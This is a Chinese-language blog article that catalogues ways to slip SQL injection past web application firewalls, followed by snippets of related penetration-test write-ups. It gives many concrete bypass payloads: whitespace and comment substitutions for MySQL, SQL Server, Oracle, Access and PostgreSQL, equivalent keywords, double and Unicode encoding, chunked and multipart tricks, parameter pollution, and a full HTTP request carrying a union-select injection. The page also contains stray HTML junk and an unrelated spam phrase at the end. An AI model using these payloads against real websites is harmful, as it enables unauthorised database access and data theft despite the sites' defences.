<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    WAF-Bypass之SQL注入繞過思路總結

    VSole2022-01-14 06:45:55

    WAF(針對云WAF)

    尋找真實IP(源站)繞過

    如果流量都沒有經過WAF,WAF當然無法攔截攻擊請求。當前多數云WAF架構,例如百度云加速、阿里云盾等,通過更改DNS解析,把流量引入WAF集群,流量經過檢測后轉發請求到源站。如圖,dict.com接入接入WAF后,dict.com的DNS解析結果指向WAF集群,用戶的請求將發送給WAF集群,WAF集群經過檢測認為非攻擊請求再轉發給源站。

    image-20211101163158685

    繞過云WAF尋找真實IP與繞過CDN尋找真實IP的方法類似,可以查看這篇文章:

    https://plumeria.ltd/post/efd52af7.html#CDN%E7%9A%84%E7%BB%95%E8%BF%87

    利用同網段繞過

    一些在云服務商的站點,同時使用云服務商提供的WAF服務。當流量不是通過DNS解析引流到WAF,流量必須經過WAF的檢測,這是不能通過發行源站進行繞過。可以考慮在云服務商買一臺VPS,通過VPS攻擊目標站點,因為流量是局域網,可能不經過WAF檢測,實現繞過。能不能成功,關鍵在于云服務商的網絡配置。

    利用邊界漏洞繞過

    如果未能發現源站IP,可以嘗試尋找子站的SSRF漏洞。如果子站訪問目標站不經過WAF集群,可以利用SSRF漏洞來繞過WAF。

    資源限制角度繞過WAF

    超大數據包繞過

    這是眾所周知、而又難以解決的問題。如果HTTP請求POST BODY太大,檢測所有的內容,WAF集群消耗太大的CPU、內存資源。因此許多WAF只檢測前面的幾K字節、1M、或2M。對于攻擊者而然,只需要在POST BODY前面添加許多無用數據,把攻擊payload放在最后即可繞過WAF檢測。

    協議層面繞過WAF

    即使流量都確保經過WAF,如果WAF的防御策略根本就沒有檢測payload,那么也就能繞過WAF。協議層面繞過WAF,利用WAF解析協議的問題,使得payload被認為不是請求的HTTP請求的內容。

    協議未覆蓋繞過

    在 http 頭里的 Content-Type 提交表單支持四種協議:

    ?application/x-www-form-urlencoded -編碼模式

    ?multipart/form-data -文件上傳模式

    ?text/plain -文本模式

    ?application/json -json模式

    文件頭的屬性是傳輸前對提交的數據進行編碼發送到服務器。其中 multipart/form-data 表示該數據被編碼為一條消息,頁上的每個控件對應消息中的一個部分。所以,當 waf 沒有規則匹配該協議傳輸的數據時可被繞過。

    pipeline繞過

    http協議是由tcp協議封裝而來,當瀏覽器發起一個http請求時,瀏覽器先和服務器建立起連接tcp連接,然后發送http數據包(即我們用burpsuite截獲的數據),其中包含了一個Connection字段,一般值為close,apache等容器根據這個字段決定是保持該tcp連接或是斷開。當發送的內容太大,超過一個http包容量,需要分多次發送時,值會變成keep-alive,即本次發起的http請求所建立的tcp連接不斷開,直到所發送內容結束Connection為close為止。


    img

    發送兩個請求,但繞過失敗,被云鎖攔截,此種方法現在基本失效。

    img

    分塊傳輸繞過

    分塊傳輸編碼(Chunked transfer encoding)是只在HTTP協議1.1版本(HTTP/1.1)中提供的一種數據傳送機制。以往HTTP的應答中數據是整個一起發送的,并在應答頭里Content-Length字段標識了數據的長度,以便客戶端知道應答消息的結束。

    分塊編碼具體方法

    在頭部加入Transfer-Encoding:chunked之后,就代表這個報文采用了分塊編碼。這時,報文中的實體需要改為用一系列分塊來傳輸。

    每個分塊包含十六進制的長度值和數據,長度值獨占一行,長度不包括它結尾的CRLF(\r),也不包括分塊數據結尾的CRLF。

    最后一個分塊長度值必須為0,對應的分塊數據沒有內容,表示實體結束。

    例:

    Content-Type: text/plain
    Transfer-Encoding: chunked
    
    23\r
    This is the data in the first chunk\r
    1A\r
    and this is the second one\r
    3\r
    con\r
    8\r
    sequence\r
    0\r
    \r
    

    也可以使用github上的插件實現分塊傳輸

    chunked-coding-converter:https://github.com/c0ny1/chunked-coding-converter


    img

    另類字符集編碼繞過

    Content-Type頭中使用charset定義字符集的應用場景不只有在responses中,request中同樣可以使用。

    常見的服務器與可見編碼如下所示:

    服務器信息可用編碼說明Nginx, uWSGI-Django-Python3IBM037, IBM500, cp875, IBM1026, IBM273對參數名和參數值進行編碼,服務器會對參數名和參數值均進行url解碼,需要對等號和& and進行編碼(不進行url編碼)Nginx, uWSGI-Django-Python2IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424對參數名和參數值進行便慢慢 服務器會對參數名和參數值均進行url解碼 等號和&符號不應該以任何方式編碼。Apache-TOMCAT8-JVM1.8-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025參數名按原始格式(可以像往常一樣使用url編碼)Body不論是否經過url編碼均可等號和&符號不應該以任何方式編碼Apache-TOMCAT7-JVM1.6-JSPIBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025參數名按原始格式(可以像往常一樣使用url編碼) Body 不論是否經過url編碼均可 等號和&符號不應該以任何方式編碼IIS6, 7.5, 8, 10 -ASPX (v4.x)IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025參數名按原始格式(可以像往常一樣使用url編碼) Body 不論是否經過url編碼均可 等號和&符號不應該以任何方式編碼

    規則缺陷/特性角度繞過WAF

    空白符替換繞過

    MySQL特性

    select id,contents,time from news where news_id=1unionselect1,2,usernamefromadmin

    ?位置①

    ?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    ?可以利用注釋符號替換空格:/**/、%23est%0d%0a、 --+a%0d%0a

    ?可以利用數學運算以及數據類型:news_id=1.0,news_id=1E0,news_id=\N

    ?位置②

    ?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    ?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a

    ?可以利用括號:union(select 1,2)

    ?位置③

    ?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    ?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a

    ?可以利用其它符號:+ 、- 、 ~ 、!、@

    ?位置④

    ?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    ?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a

    ?大括號{}:union select {``1},{x 2}

    ?可利用數學運算以及數據類型:

    union select usename,2.0from admin union select username,8e0from admin union select username,\Nfrom admin

    ?位置⑤

    ?可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0

    ?可以利用注釋符號替換空格:/**/、%23test%0d%0a、 --+a%0d%0a

    ?反引號`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23

    ?內聯注釋:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23

    ?大括號{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23

    ?小括號():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23

    SQLServer特性

    select id,contents,time from news where news_id=1unionselect1,2,db_name()fromadmin
    - 位置①
      - 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
      - 可以利用注釋符號:/**/、--+a%0d%0a
      - 可利用數學運算符以及數據類型:news_id=1.0,news_id=1e0,news_id=1-1
    - 位置②
      - 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
      - 可以利用注釋符號:/**/、--+a%0d%0a
      - 可以利用加號+替換空格:union+select
    - 位置③
      - 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
      - 可以利用注釋符號:/**/、--+a%0d%0a
      - 可利用數學運算符:+、-、~、.    (注:其中-、~、.號必須是select查詢的第一個字段的數據類型為數字型才能使用)
      - 可以利用小括號()替換空格:select(1),2,db_name()
    - 位置④
      - 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
      - 可以利用注釋符號:/**/、--+a%0d%0a
      - 可利用其他字符:%80~%FF(需要IIS服務器支持)
    - 位置⑤
      - 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
      - 可以利用注釋符號:/**/、--+a%0d%0a
      - 可利用其他字符:%80~%FF(需要IIS服務器支持)
      - 可以利用點號.替換空格:from.users
      - 可以利用中括號[]替換空格:from[users]
    

    Access特性

    select id,contents,time from news where news_id=1unionselect1,2,usernamefromadmin

    ?位置①

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d、%16

    ?位置②

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?位置③

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?可使用其他字符:+、-、.、=

    Oracle特性

    select id,contents,time from news where news_id=1unionselect1,2,usernamefromadmin

    ?位置①

    ?可利用其他控制字符替換空格:%00、%09、%0a、%0b、%0c、%0d

    ?可以利用其它控制字符替換空格:%1f、%1d

    ?可使用其他字符:.

    ?位置②

    ?可利用其他控制字符替換空格:%00、%09、%0a、%0b、%0c、%0d

    ?位置③

    ?可利用其他控制字符替換空格:%00、%09、%0a、%0b、%0c、%0d

    ?可使用其他字符:-、+、%ad

    ?位置④

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?位置⑤

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?可插入字符:%30%ff、%24、%7b%22%7b%76

    PostgreSQL特性

    select id,contents,time from news where news_id=1unionselect1,2,usernamefromadmin

    ?位置①

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?可使用其他字符:.、!

    ?位置②

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?位置③

    ?可利用其他控制字符替換空格:%09、%0a、%0c、 %0d

    ?可使用其他字符:.、~、@、-、+

    ?位置④

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?位置⑤

    ?可利用其他控制字符替換空格:%09、%0a、%0c、%0d

    ?可插入字符:%30~%ff、%24

    函數分隔符繞過

    對基于正則表達式的WAF,我們猜測安全工程師寫WAF規則時,可能不知道函數名與左括號之間可以存在特殊字符,或者遺漏可以存在特殊字符。例如匹配函數”concat()”的規則寫法,“concat(”或者”concat\s*(”,就沒有考慮到一些特殊字符。相應的繞過方法,在特殊位置引入特殊的分隔符,逐個測試。這些特殊分隔符發現也是通過Fuzz出來的。

    等價關鍵字繞過

    有些函數或命令因其關鍵字被檢測出來而無法使用但是在很多情況下可以使用與之等價或類似的代碼替代其使用。

    以下舉例了mysql中的等價關鍵字:

    hex()、bin() ==> ascii()
    
    sleep() ==>benchmark()
    
    concat_ws()==>group_concat()
    
    mid()、substr() ==> substring()
    
    updatexml、extractvalue() ==> polygon()
    
    @@user ==> user()
    
    @@datadir ==> datadir()
    
    and ==> &&
    
    or ==> ||
    
    not ==> !
    
    xor ==> |
    
    = ==> like
    
    != ==> <>
    
    limit 0,1 ==> limit 1 offset 0
    
    union select ==> union select * from (select 1)a join (select 2)b
    
    ’‘ ==> ""
    
    'admin' ==> 0x61646D696E
    
    select * from users where id = 1 order 4 ==> select * from users where id = 1 into @a,@b,@c,@d
    

    添加庫名繞過

    以下兩條查詢語句,執行的結果是一致的,但是有些 waf 的攔截規則 并不會攔 截[庫名].[表名]這種模式。

    ALL 或者 DISTINCT 繞過

    去掉重復值

    select 1,2 from users where user_id=1 union DISTINCT select 1,2 
    
    select 1,2 from users where user_id=1 union select DISTINCT 1,2 
    

    顯示全部

    select 1,2 from users where user_id=1 union all 
    
    select 1,2 select 1,2 from users where user_id=1 union select all 1,
    

    大小寫繞過

    常用于 waf的正則對大小寫不敏感的情況,一般都是題目自己故意這樣設計。

    select * from users where id=1 UNION SELECT 1,2,3,4; 
    
    select * from users where id=1 UniON SelECT 1,2,3,4
    

    雙關鍵字繞過

    在某一些簡單的waf中,將關鍵字select等只使用replace()函數置換為空,這時候可以使用雙寫關鍵字繞過。例如select變成seleselectct,在經過waf的處理之后又變成select,達到繞過的要求。

    雙重/多重URL編碼繞過

    雙重url編碼,即對于瀏覽器發送的數據進行了兩次urlencode操作,如s做一次url編碼是%73,再進行一次編碼是%25%37%33。一般情況下數據經過WAF設備的時候只會做一次url解碼,這樣解碼之后的數據一般不會匹配到規則,達到了bypass的效果。

    Unicode編碼繞過

    IIS服務器支持對于unicode的解析,例如我們對于select中的字符進行unicode編碼,可以得到如下的s%u006c%u0006ect,這種字符在IIS接收到之后會被轉換為select,但是對于WAF層,可能接收到的內容還是s%u006c%u0006ect,這樣就會形成bypass的可能。

    字符Unicode編碼a%u0000 %u0041 %u0061 %u00aa %u00e2單引號%u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7空白%u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0左括號(%u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8右括號)%u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9

    Emoji表情字符繞過

    emoji是一串unicode字集組成,一個emoji圖標可以占2、4、7個字節。且mysql支持emoji存儲。

    部分Emoji可以插入到%23與%0A之間實現繞過。

    json提交與xml提交繞過

    有些程序是 json 提交參數,程序也是 json 接收再拼接到 SQL 執行 json 格式通 常不會被攔截。所以可以繞過 waf。

    POST /06/vul/sqli/sqli_id.php HTTP/1.1
    Host: 192.168.0.115
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type:application/json
    Content-Length: 38
    Origin: http://192.168.0.115
    Connection: close
    Referer: http://192.168.0.115/06/vul/sqli/sqli_id.php
    Cookie: PHPSESSID=e6sa76lft65q3fd25bilbc49v3; security_level=0
    Upgrade-Insecure-Requests: 1
    
    {'id':1 union select 1,2,3,'submit':1}
    

    image-20211101231132608

    同樣 text/xml 也不會被攔截

    特殊的百分號

    ASP/ASPX+IIS的環境中存在一個特性,就是特殊符號%,在該環境下當們我輸入s%elect的時候,在WAF層可能解析出來的結果就是s%elect,但是在iis+asp的環境的時候,解析出來的結果為select。

    HTTP參數污染

    HPP是HTTP Parameter Pollution的縮寫,意為HTTP參數污染。

    在ASPX中,有一個比較特殊的HPP特性,當GET/POST/COOKIE同時提交的參數id,服務端接收參數id的順序GET,POST,COOKIE,中間通過逗號鏈接,于是就有了這個idea。

    UNION、SELECT、FROM 三個關鍵字分別放在GET/POST/COOKIE的位置,通過ASPX的這個特性連起來,堪稱完美的一個姿勢,壓根不好防。

    但姿勢利用太過于局限:使用Request.Params["id"]來獲取參數,G-P-C獲取到參數拼接起來,僅僅作為Bypass分享一種思路而已。

    下表中列舉了一些主流環境下的HPP情況:


    image-20211101212812215

    GET方法傳輸POST數據繞過

    大家的常識是GET參數通過URL傳遞,POST放在Request body中。

    但是在某些中間件(如IIS)中的GET請求同樣可以傳輸POST數據。

    畸形method繞過

    某些WAF在處理數據的時候嚴格按照GET、POST等標準HTTP方法來獲取數據,或者采用正則匹配的方式來處理數據,可能因為WAF和WEB服務解析的前后不對等繞過WAF。

    存在環境:Apache 2.X

    某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容。


    image-20211101212939505

    畸形的boundary繞過

    PHP在解析multipart data的時候有自己的特性,對于boundary的識別,只取了逗號前面的內容,例如我們設置的boundary為----aaaa,123456,php解析的時候只識別了----aaaa,后面的內容均沒有識別。然而WAF在做解析的時候,有可能獲取的是整個字符串,此時可能就會出現繞過。

    存在環境:PHP

    參數數量限制繞過

    WAF在實際環境中為防止拒絕服務式攻擊 (denial of service attacks),默認最多解析前 100 個請求參數 (包括同名的),更多的參數將直接忽略。

    存在環境:Nginx+Lua WAF

    image-20211101215241527

    變換請求方式繞過

    假如php里使用$_REQUEST獲取參數,那么php獲取參數的默認優先級是:

    $_COOKIE > $_POST > $_GET。此時WAF層只過濾get/post,但沒有過濾cookie,于是導致了繞過。

    存在環境:PHP

    信任白名單繞過

    有些 WAF 會自帶一些文件白名單,對于白名單 waf 不會攔截任何操作,所以可 以利用這個特點,可以試試白名單繞過。

    白名單通常有目錄:

    /admin
    
    /phpmyadmin
    
    /admin.php
    


    image-20211101220538726

    靜態文件繞過

    除了白名單信任文件和目錄外,還有一部分 waf 并不會對靜態文件進行攔截。例如 圖片文件 jpg 、png 、gif 或者 css 、js 會對這些靜態文件的操作不會 進行檢測從而繞過 waf 攔截。

    /1.jpg&name=vince+&submit=1
    
    /1.jpg=/1.jpg&name=vince+&submit=1
    
    /1.css=/1.css&name=vince+&submit=1
    


    image-20211101230701225

    PostgreSQL字符串特性繞過

    由于 postgres 會將雙引號中的內容認為是一個表名/字段名,同時在雙引號引起的字符串中使用 U& 前綴轉義是合法的,所以當過濾了 information_schema 等關鍵名稱時,可以將其用雙引號引用并在其前面 加入 U&轉義前綴,同時將其中某個字符替換為對應的 Unicode 表現形式來繞過 WAF。

    例如:以下語句同樣會返回所有的 Schema

    select U&"tabl\0065_sch\0065ma" from U&"inform\0061tion_sch\0065ma".U&"t\0061bles" where 
    U&"tabl\0065_sch\0065ma" not in (U&'pg_cat\0061log',U&'inform\0061tion_sch\0065ma') group by 1;
    
    sql注入waf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    對于安全社區來說,Web應用防火墻(WAF)似乎一直以來都是一個大家默認都要使用的東西,而且幾乎也沒有人會反對使用Web應用防火墻。在這篇文章中,我們將給大家提供一個新的視角去看待WAF,并會對Web應用防火墻的使用效率問題與替代性技術進行深入探討。
    好久沒寫實戰文章了,過年過的手都麻了,一天不滲透我是渾身難受。正想找幾個站泄泄火呢。剛好就接到了領導的任務,需要我去參加某集團組織的攻防演練。過程即簡單也曲折,好在成功繞過waf,且橫向滲透取得辦公區運維機權限,最終取得工控生產區服務器權限,完成滲透目標,skr~skr~。
    sql注入防火墻WAF繞過
    2022-01-26 06:33:00
    一次無意間發現了一個網站的搜索處存在sql注入。繼續利用,然后輸入and的時發現出了的網站的安全狗。
    關注一波,謝謝各位師傅感謝ch1e師傅幫忙總結ch1e‘blog:https://ch1e.gitee.io
    實戰 | 記一次有趣的滲透測試
    SQL注入準考證查詢功能73327-slqqdgm5hbs.png填入單引號56796-qualdih4dbf.png頁面報錯50065936-81um8p96fp.png兩個單引號14002-ysq2k0hdab.png頁面正常,顯示無報名資料98470-kgdpmaoxi7.png這里首先構造一個true條件,先獲取功能點44785-c61vo5xc0ip.png顯示信息頁面有個下載準考證25809-x5jw2wb65u.png打開是個pdf51297-e73afhk0x3.png查看數據包,發現是根據post的id參數生成pdf文件01019-qes1y54wmk.png這里經過測試,數字型注入35個字段id=-2) Union#. 滿足臟牛提權條件,直接上臟牛成功提權94726-c9u07mrow8w.png查看開放端口有開放22-ssh,但是嘗試連接無法連接到端口78739-ofv046wfnmb.png上Neo-reGeorg將ssh代理出來70655-o69f32d5srg.png然后連接127.0.0.1,查看權限為root
    0x01 %00繞過WAF輸入一個單引號頁面報錯首先閉合,這里用')閉合keywords=1') %23. order by x 被攔截,用--%0a代替空格即可直接上union select會一直卡著,沒有任何返回把空格都改為--%0a,成功響應,在 select 跟 1,2,3... 之間用兩個 --%0a 會無響應在 1 后面加上?并 url 編碼,原理是 waf 把空字節認為是結束導致了后面的語句可以繞過0x02 Base64繞WAF發現參數為 base64 編碼測試字符發現頁面報錯,使用報錯注入來出數據133 and updatexml. 這里可以使用16進制或者科學計數法0x1或1e1keywords=11'and-updatexml
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类